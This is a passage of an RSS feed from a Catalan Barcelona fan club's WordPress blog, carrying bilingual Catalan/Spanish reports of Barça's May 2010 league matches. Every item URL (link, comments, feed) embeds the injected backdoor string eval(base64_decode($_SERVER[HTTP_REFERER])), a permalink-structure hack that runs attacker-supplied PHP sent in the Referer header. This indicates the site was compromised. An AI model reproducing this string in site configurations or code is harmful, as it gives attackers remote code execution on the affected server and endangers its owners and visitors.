<p><span style="text-decoration: underline;"><span style="font-family: &quot;Times New Roman&quot;; font-size: 14pt; mso-bidi-font-size: 12.0pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: ES; mso-fareast-language: ES; mso-bidi-language: AR-SA;">Camp Nou</span></span><span style="font-family: &quot;Times New Roman&quot;; font-size: 14pt; mso-bidi-font-size: 12.0pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: ES; mso-fareast-language: ES; mso-bidi-language: AR-SA;">: 98.083 espectadores</span></p>
]]></content:encoded>
			<wfw:commentRss>http://pbcalonge-stantoni.cat/2010/05/17/s0m0s-campions-altra-vegada/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SEVILLA 2 - 3 BARÇA</title>
		<link>http://pbcalonge-stantoni.cat/2010/05/09/sevilla-2-3-barca/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://pbcalonge-stantoni.cat/2010/05/09/sevilla-2-3-barca/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 09 May 2010 09:44:29 +0000</pubDate>
		<dc:creator>Lluis</dc:creator>
		
		<category><![CDATA[Penya]]></category>

		<guid isPermaLink="false">http://pbcalonge-stantoni.cat/?p=85</guid>
		<description><![CDATA[ Falta la rematada final, per fer-nos de la Lliga  
Barça és campió a falta de victòria. Un mer tràmit per al millor equip, encara que ahir a la nit els blaugrana es complica una partit que van poder i van haver de guanyar per golejada. El Sevilla, amb un menys i dos gols en només dos [...]]]></description>
			<content:encoded><![CDATA[<p> <span style="font-family: Times New Roman; font-size: large;"><strong><em>Falta la rematada final, per fer-nos de la Lliga</em></strong> </span><span style="font-size: small;"><span style="font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;"><em><strong>Barça</strong></em> és campió a falta de victòria. Un mer tràmit per al millor equip, encara que ahir a la nit els blaugrana es complica una partit que van poder i van haver de guanyar per golejada. El Sevilla, amb un menys i dos gols en només dos minuts, va tornar per uns instants l&#8217;emoció al partit ia la Lliga, encara que aquesta finalment la guanyarà qui ha de guanyar-la.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">El <em><strong>Barça</strong></em> ja va caure eliminat de la Copa al Pizjuán, en una actuació memorable de Palop, que va acabar fent plorar a Messi. Hi havia un compte pendent i l&#8217;argentí no va trigar a saldar. Als cinc minuts va rebre un intel.ligent passada de Maxwell i se les va enginyar per batre Palop. El Sevilla és ja l&#8217;equip al que més gols ha marcat Messi i el seu vuitè tant servia a més perquè el <em><strong>Barça</strong></em> fora provisionalment campió.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">En circumstàncies normals, els 96 punts li haguessin atorgat el títol de Lliga fa ja diverses jornades. No obstant això, aquest fenomen paranormal anomenat Cristiano Ronaldo manté el Madrid enganxat al clatell dels blaugrana. Tot i que depenia de si mateix, era inevitable que el <em><strong>Barça</strong></em> tingués un ull posat al Bernabéu, ja que cantar victòria passava per allà. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">El Sevilla fa temps que va deixar de ser el que semblava o, qui sap, de semblar el que era. Necessitava la victòria per assegurar-se la Lliga de Campions. Antonio Álvarez, la data de caducitat la marca, a més de la Champions, la final de Copa, va sortir amb el millor que tenia. Però el Sevilla, excepte aquests tres minuts bojos, no li va fer ni pessigolles al <em><strong>Barça</strong></em>.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Aquesta vegada Guardiola no va haver de substituir Ibra. Directament el va deixar a la banqueta d&#8217;inici i va apostar pel triplet de La Masia que formen Pere, Messi i Bojan. Fins a vuit jugadors del planter a l&#8217;onze inicial del <em><strong>Barça</strong></em> en el partit que podia decidir la Lliga. Talent i sentiment en vena per a un equip que sempre juga a guanyar, per això no necessités estímuls extres per fer-ho a Sevilla. I això que faltava el mai prou enyorat Iniesta. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">La proposta de Guardiola, valent i coherent un cop més, aviat va obtenir resultats amb el gol de Messi, però es va escenificar quan Xavi va assistir magistralment a Bojan en la jugada del segon. Amb Piqué, Puyol i Busquets imposant-se a qualsevol intent del Sevilla per inquietar Valdés, el porter va assumir la seva ració de protagonisme amb una gran aturada a remat de Kanouté.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: &quot;Times New Roman&quot;; font-size: 14pt; mso-bidi-font-size: 12.0pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: ES; mso-fareast-language: ES; mso-bidi-language: AR-SA;">El gol de Yeste al Bernabéu va portar encara més tranquil.litat a <em><strong>Barça</strong></em>, que tornava a ser campió. El triangle Xavi, Alves i Messi, en els vèrtexs també permuta Pere, era un perill constant per al Sevilla, incapaç de fer-se amb la pilota i corrent darrere d&#8217;ella.</span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">La segona part va ser més del mateix. El <em><strong>Barça</strong></em> acaparava la possessió, mentre que els andalusos no tenien més remei que avançar-se i cedir espais. L&#8217;expulsió de Konko per doble groga va deixar encara més tocat el Sevilla, que tornava a tenir en Palop al seu millor home. El porter va evitar el 0-3 a l&#8217;abast de Messi, després de Bojan, però no va poder amb Pere, que d&#8217;aquesta manera completava els gols made in <strong>La Masia</strong>. Bojan va errar el 0-4 i el partit semblava que podia acabar en una golejada d&#8217;escàndol. No obstant això, en dos minuts el Sevilla va marcar dues vegades i, com que Higuaín va avançar gairebé a l&#8217;uníson el Madrid, al final no va poder ser més emocionant.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">El <em><strong>Barça</strong></em>, molt més i millor equip que el Madrid, s&#8217;ha vist obligat a competir fins a la penúltima jornada i ho ha fet sense immutar-se. Amb una exhibició de poder en un dels camps més difícils de Primera. Guardiola ha enterrat el fatalisme que històricament perseguia els culers i la victòria al Pizjuán deixa el títol a falta de guanyar el Valladolid al Camp Nou.</span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: small;"><span style="font-family: Times New Roman;"> </span></span></p>
<h1 style="margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman; font-size: x-large;">SEVILLA 2 - BARCELONA 3</span></h1>
<h2 style="margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman; font-size: large;"><em>Falta el remate final, para hacernos de la Liga</em></span></h2>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: small;"><span style="font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;"><em><strong>Barcelona</strong></em> es campeón a falta de alirón. Un mero trámite para el mejor equipo, aunque anoche los azulgrana se complicaran un partido que pudieron y debieron ganar por goleada. El Sevilla, con uno menos y dos goles en apenas dos minutos, devolvió por unos instantes la emoción al partido y a la Liga, aunque esta finalmente la ganará quien debe ganarla.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">El <strong><em>Barcelona</em></strong> ya cayó eliminado de la Copa en el Pizjuán, en una actuación memorable de Palop, que acabó haciendo llorar a Messi. Había una cuenta pendiente y el argentino no tardó en saldarla. A los cinco minutos recibió un inteligente pase de Maxwell y se las ingenió para batir a Palop. El Sevilla es ya el equipo al que más goles ha marcado Messi y su octavo tanto servía además para que el <em><strong>Barcelona</strong></em> fuera provisionalmente campeón.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">En circunstancias normales, los 96 puntos le hubieran otorgado el título de Liga hace ya varias jornadas. Sin embargo, ese fenómeno paranormal llamado Cristiano Ronaldo mantiene al Madrid pegado al cogote de los azulgrana. Aunque dependía de sí mismo, era inevitable que el <em><strong>Barcelona</strong></em> tuviera un ojo puesto en el Bernabéu, pues cantar el alirón pasaba por allí.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">El Sevilla hace tiempo que dejó de ser lo que parecía o, quién sabe, de parecer lo que era. Necesitaba la victoria para asegurarse la Liga de Campeones. Antonio Álvarez, cuya fecha de caducidad la marca, además de la Champions, la final de Copa, salió con lo mejor que tenía. Pero el Sevilla, salvo esos tres minutos locos, no le hizo ni cosquillas al <em><strong>Barcelona</strong></em>.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">Esta vez Guardiola no tuvo que sustituir a Ibra. Directamente lo dejó en el banquillo de inicio y apostó por el triplete de La Masia que forman Pedro, Messi y Bojan. Hasta ocho canteranos en el once inicial del <em><strong>Barcelona</strong></em> en el partido que podía decidir la Liga. Talento y sentimiento en vena para un equipo que siempre juega a ganar, de ahí que no necesitara estímulos extras para hacerlo en Sevilla. Y eso que faltaba el nunca suficientemente añorado Iniesta.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">La propuesta de Guardiola, valiente y coherente una vez más, pronto obtuvo resultados con el gol de Messi, pero se escenificó cuando Xavi asistió magistralmente a Bojan en la jugada del segundo. Con Piqué, Puyol y Busquets imponiéndose a cualquier intentona del Sevilla por inquietar a Valdés, el portero también acaparó su ración de protagonismo con un paradón a remate de Kanouté.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">El gol de Yeste en el Bernabéu trajo aún más tranquilidad al <em><strong>Barcelona</strong></em>, que volvía a ser campeón. El triángulo Xavi, Alves y Messi, en cuyos vértices también permuta Pedro, era un peligro constante para el Sevilla, incapaz de hacerse con la pelota y corriendo detrás de ella.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: Times New Roman;">La segunda parte fue más de lo mismo. El <em><strong>Barcelona</strong></em> acaparaba la posesión, mientras que los andaluces no tenían más remedio que adelantarse y ceder espacios. La expulsión de Konko por doble amarilla dejó aún más tocado al Sevilla, que volvía a tener en Palop a su mejor hombre. El portero evitó el 0-3 a tiro de Messi, luego de Bojan, pero no pudo con Pedro, que de esta forma completaba los goles made in <strong>La Masia</strong>. Bojan erró el 0-4 y el partido parecía que podía acabar en una goleada de escándalo. Sin embargo, en dos minutos el Sevilla marcó dos veces y, como quiera que Higuaín adelantó casi al unísono al Madrid, el final no pudo ser más emocionante.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-bidi-font-size: 12.0pt;"><span style="font-family: &quot;Times New Roman&quot;; font-size: 14pt; mso-bidi-font-size: 12.0pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: ES; mso-fareast-language: ES; mso-bidi-language: AR-SA;">El <em><strong>Barcelona</strong></em>, mucho más y mejor equipo que el Madrid, se ha visto obligado a competir hasta la penúltima jornada y lo ha hecho sin inmutarse. Con una exhibición de poderío en uno de los campos más difíciles de Primera. Guardiola ha enterrado el fatalismo que históricamente perseguía a los culés y la victoria en el Pizjuán deja el título a falta de ganar al Valladolid en el Camp Nou.</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://pbcalonge-stantoni.cat/2010/05/09/sevilla-2-3-barca/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>BARÇA 4 - 1 TENERIFE</title>
		<link>http://pbcalonge-stantoni.cat/2010/05/05/barca-4-1-tenerife/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://pbcalonge-stantoni.cat/2010/05/05/barca-4-1-tenerife/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 05 May 2010 07:49:47 +0000</pubDate>
		<dc:creator>Lluis</dc:creator>
		
		<category><![CDATA[Penya]]></category>

		<guid isPermaLink="false">http://pbcalonge-stantoni.cat/?p=83</guid>
		<description><![CDATA[La Lliga està més a prop 
 
Nit de tensió al Camp Nou, on el Barça va viure angoixat un partit que li semblava fàcil però que se li va complicar fins que els gols de Bojan i Pedro desembussar un xoc que tenia pinta de convertir-se en una tragèdia per als barcelonistes després del cop [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 16pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><strong><em>La Lliga està més a prop</em></strong> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Nit de tensió al Camp Nou, on el <em><strong>Barça</strong></em> va viure angoixat un partit que li semblava fàcil però que se li va complicar fins que els gols de Bojan i Pedro desembussar un xoc que tenia pinta de convertir-se en una tragèdia per als barcelonistes després del cop d&#8217; fa una setmana contra l&#8217;Inter. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Endollats des del principi, el <em><strong>Barça</strong></em> va sortir a intimidar a un Tenerife que va deixar a la banqueta al seu golejador Nino i va ubicar a Kome en punta. La idea de José Luis Oltra estava clara des de l&#8217;inici: tancar qualsevol línia de passada i llançar contraatacs a la recerca de l&#8217;aventura. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">No obstant això, el <em><strong>Barça</strong></em> només va tenir sotmès durant sis minuts a un Tenerife, però de res li va servir aquest domini insultant, ja que en el primer error en la passada l&#8217;equip insular s&#8217;havia plantat a la meta de Valdés. Alfaro va donar el primer avís. El domini i control de la pilota va caure als peus del <em><strong>Barça</strong></em>, que va evidenciar seriosos problemes. El Tenerife, per contra, es va mantenir relaxat en defensa. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">La primera ocasió que va aconseguir muntar amb cert perill el <strong><em>Barça</em></strong> va ser en el minut 13, després d&#8217;un robatori de pilota d&#8217;Alves. I, al minut següent, nou avís del Tenerife en un error de Piqué. Pocs minuts després els blaugranes es van avançar per mediació de Messi. Un quart d&#8217;hora llarg li havia costat al <strong><em>Barça</em></strong> trencar una defensa que semblava impenetrable. El treball semblava encarat per als blaugrana. Del possible 2-0, el <em><strong>Barça</strong></em> es va trobar amb el gol de Román, que aquesta vegada no va fallar davant la sortida de Valdés. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><span style="font-size: 14pt; mso-ansi-language: FR;" lang="FR">Davant tant desconcert, el <em><strong>Barça</strong></em> se li va acumular les imprecisions. </span><span style="font-size: 14pt; mso-ansi-language: ES;">Després del descans, el <em><strong>Barça</strong></em> va sortir amb el to baix i els minuts van ser tan pesats com lloses. Aquest punt de tensió es palpava ja que el <em><strong>Barça</strong></em> era incapaç de desfer un empat que s&#8217;apuntava com funest per a les seves opcions a la recta final de la Lliga. A més, el Tenerife va aprofitar per tirar del seu golejador Nino, que va sortir per un exhaust Kome. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Al 63, el <em><strong>Barça</strong></em> va veure la llum davant tant núvol quan Alves es va treure una passada en profunditat que va completar Bojan amb un duríssim xut. Gol reparador i de tranquil.litat per rebaixar tanta tensió. A partir de llavors, va tornar el millor <strong><em>Barça</em></strong>, que va culminar Pere per tornar el pols a un Camp Nou atemorit, després que el Tenerife marqués un nou tant, encara que ha estat anul.lat per fora de joc. Messi, en l&#8217;última acció del partit, va establir el definitiu marcador. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><strong><em>Barça</em></strong>: Valdés; Alves, Piqué (Pere, min.46), Puyol, Maxwell, Touré Yaya, Xavi, Keita, Messi, Ibrahimovic (Busquets, min. 65) i Bojan (Hdenry, min.81). </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><strong>Tenerife</strong>: Aragoneses; Lluna, Culebras, Pablo Sicília, Héctor; Mikel Alonso; Román Martínez (Omar, min.73), Manolo Martínez, Juanlu, Alfaro (Àngel min.85), i Kome (Nino, min.61) Gols: 1-0, min.17: Messi. 1-1, min.39: Román. 2-1, min.63: Bojan. 3-1, min.77: Pedro. 4-1, min.90 +: Messi. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><span style="text-decoration: underline;"><span style="font-size: 14pt; mso-ansi-language: ES;">Àrbitre</span></span><span style="font-size: 14pt; mso-ansi-language: ES;">: Delgado Ferreiro, del comitè basc. Ha mostrat cartolina groga a Pau Sicília (min.25), Alfaro (min.67) i Héctor (min.72). </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><span style="text-decoration: underline;"><span style="font-size: 14pt; mso-ansi-language: FR;" lang="FR">Estadi</span></span><span style="font-size: 14pt; mso-ansi-language: FR;" lang="FR">: Camp Nou davant 57,401 espectadors.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="mso-ansi-language: FR;" lang="FR"><span style="font-family: Times New Roman; font-size: small;"> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 20pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><strong>BARCELONA FC 4 – 1 TENERIFE</strong></span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 16pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><strong><em>La Liga esta más cerca</em></strong> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Noche de tensión en el Camp Nou, donde el <strong><em>Barcelona</em></strong> vivió angustiado un partido que le parecía fácil pero que se le complicó hasta que los goles de Bojan y Pedro desatascaron un choque que tenía pinta de convertirse en una tragedia para los barcelonistas después del mazazo de hace una semana contra el Inter.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Enchufados desde el principio, el <strong><em>Barcelona</em></strong> salió a intimidar a un Tenerife que dejó en el banquillo a su goleador Nino y ubicó a Kome en punta. La idea de José Luis Oltra estaba clara desde el inicio: cerrar cualquier línea de pase y lanzar contraataques <span style="mso-spacerun: yes;"> </span>en busca de la aventura.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Sin embargo, el <em><strong>Barcelona</strong></em> solo tuvo sometido durante seis minutos a un Tenerife, pero de nada le sirvió este dominio insultante, ya que en el primer error en el pase el equipo insular se había plantado en la meta de Valdés. Alfaro dio el primer aviso. El dominio y control del balón cayó en los pies del <strong><em>Barcelona</em></strong>, que evidenció serios problemas. El Tenerife, por el contrario, se mantuvo relajado en defensa.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">La primera ocasión que logró montar con cierto peligro el <strong><em>Barcelona</em></strong> fue en el minuto 13, tras un robo de balón de Alves. Y, al minuto siguiente, nuevo aviso del Tenerife en un error de Piqué. Pocos minutos después los azulgranas se adelantaron por mediación de Messi. Un cuarto de hora largo le había costado al <em><strong>Barcelona</strong></em> romper una defensa que parecía impenetrable. El trabajo parecía encarado para los azulgrana. Del posible 2-0, el <em><strong>Barcelona</strong></em> se encontró con el gol de Román, quien esta vez no falló ante la salida de Valdés.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Ante tanto desconcierto, al <em><strong>Barcelona</strong></em> se le acumuló las imprecisiones. Tras el descanso, el <em><strong>Barcelona</strong></em> salió con el tono bajo y los minutos fueron tan pesados como losas. Este punto de tensión se palpaba ya que el <strong><em>Barcelona</em></strong> era incapaz de deshacer un empate que se apuntaba como funesto para sus opciones en la recta final de la Liga. Además, el Tenerife aprovechó para tirar de su goleador Nino, que salió por un exhausto Kome. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">En el 63, el <em><strong>Barcelona</strong></em> vio la luz ante tanto nubarrón cuando Alves se sacó un pase en profundidad que completó Bojan con un durísimo disparo. Gol reparador y de tranquilidad para rebajar tanta tensión. A partir de entonces, regresó el mejor <strong><em>Barcelona</em></strong>, que culminó Pedro para devolver el pulso a un Camp Nou atemorizado, después de que el Tenerife marcase un nuevo tanto, aunque ha sido anulado por fuera de juego. Messi, en la última acción del partido, estableció el definitivo marcador.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><strong><em>Barcelona</em></strong>: Valdés; Alves, Piqué (Pedro, min.46), Puyol, Maxwell; Touré Yaya, Xavi, Keita; Messi, Ibrahimovic (Busquets, min. 65) y Bojan (Hdenry, min.81).</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"><strong>Tenerife</strong>: Aragoneses; Luna, Culebras, Pablo Sicilia, Héctor; Mikel Alonso; Román Martínez (Omar, min.73), Manolo Martínez, Juanlu, Alfaro (Ángel min.85); y Kome (Nino, min.61) Goles: 1-0, min.17: Messi. 1-1, min.39: Román. 2-1, min.63: Bojan. 3-1, min.77: Pedro. 4-1, min.90+: Messi.</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><span style="text-decoration: underline;"><span style="font-size: 14pt; mso-ansi-language: ES;">Árbitro</span></span><span style="font-size: 14pt; mso-ansi-language: ES;">: Delgado Ferreiro, del comité vasco. Ha mostrado cartulina amarilla a Pablo Sicilia (min.25), Alfaro (min.67) y Héctor (min.72).</span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><span style="text-decoration: underline;"><span style="font-size: 14pt; mso-ansi-language: ES;">Estadio</span></span><span style="font-size: 14pt; mso-ansi-language: ES;">: Camp Nou ante 57,401 espectadores.</span></span><span style="mso-ansi-language: ES;"></span></p>
]]></content:encoded>
			<wfw:commentRss>http://pbcalonge-stantoni.cat/2010/05/05/barca-4-1-tenerife/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>VILLARREAL 1 - 4 BARÇA</title>
		<link>http://pbcalonge-stantoni.cat/2010/05/02/villarreal-1-4-barca/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://pbcalonge-stantoni.cat/2010/05/02/villarreal-1-4-barca/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 02 May 2010 07:59:02 +0000</pubDate>
		<dc:creator>Lluis</dc:creator>
		
		<category><![CDATA[Penya]]></category>

		<guid isPermaLink="false">http://pbcalonge-stantoni.cat/?p=82</guid>
		<description><![CDATA[Contundent victòria del líder a El Madrigal que demostra la seva recuperació després del pal. 
 
Prova superada, dubtes clares i debat tancat. El Madrigal, un camp hostil i on el Vila-real sumava sis victòries consecutives, mesurava l&#8217;estat d&#8217;ànim del Barça després de quedar eliminat de la Champions. Els de Guardiola necessitaven rehabilitar anímicament amb urgència [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-family: Times New Roman;"><span style="font-size: 18pt; mso-bidi-font-size: 14.0pt; mso-ansi-language: ES;"><em><strong>Contundent victòria del líder a El Madrigal que demostra la seva recuperació després del pal</strong></em></span><span style="font-size: 14pt; mso-ansi-language: ES;">. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;"> </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Prova superada, dubtes clares i debat tancat. El Madrigal, un camp hostil i on el Vila-real sumava sis victòries consecutives, mesurava l&#8217;estat d&#8217;ànim del <em><strong>Barça</strong></em> després de quedar eliminat de la Champions. Els de Guardiola necessitaven rehabilitar anímicament amb urgència per encarar la recta final de la Lliga. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">Un títol que ja havien d&#8217;haver sentenciat i que ara necessiten per justificar una temporada que en cas contrari acabaria amb gust amarg. El campió no va fallar. Va guanyar amb suficiència i sense necessitat de exhibir-se, com si es volgués dosificar. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">La primera sorpresa de la nit va ser la suplència d&#8217;Ibrahimovic. Guardiola havia defensat públicament el suec després de la seva pèssim partit davant l&#8217;Inter, però ahir a la nit el va deixar a la banqueta. Bojan va ocupar el seu lloc i el <em><strong>Barça</strong></em> va guanyar en mobilitat. També va ser titular Xavi, compromès com ningú tot i arrossegar molèsties i imprescindible en absència d&#8217;Iniesta. Encara que una victòria del Vila-real afavoria els interessos del Real Madrid, els grocs necessitaven guanyar per benefici propi. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">A diferència de l&#8217;Inter, el Vila-real sí que vol la pilota. Igual que el <em><strong>Barça</strong></em>, els castellonencs només saben expressar-se a través d&#8217;ell. La diferència entre ambdues propostes és que mentre Garrido manté la cultura implantada a El Madrigal de jugar al peu, Guardiola ha perfeccionat el futbol posicional. </span></span></p>
<p class="MsoNormal" style="text-align: justify; margin: 0cm 0cm 0pt;"><span style="font-size: 14pt; mso-ansi-language: ES;"><span style="font-family: Times New Roman;">A <em><strong>Barça</strong></em> li va costar imposar-se i portar la iniciativa. Molts automatismes, però poca fluïdesa. Tuteado a la possessió, el Vila-real furgava amb desvergonyiment en els seus dubtes inicials. Nilmar, per dues vegades, inquietar Valdés. Evidentment, si hagués marcat el brasiler el partit podria haver estat molt diferent, però el cert és que qui va donar primer va ser el <em><strong>Barça</strong></em>. En una de les clàssiques combinacions, Xavi va trobar a Messi i l&#8217;argentí va encarrilar el partit. Cinc partits portava l&#8217;argentí sense marcar i el seu gol va tenir efectes terapèutics per als de Guardiola. </span></span></p>
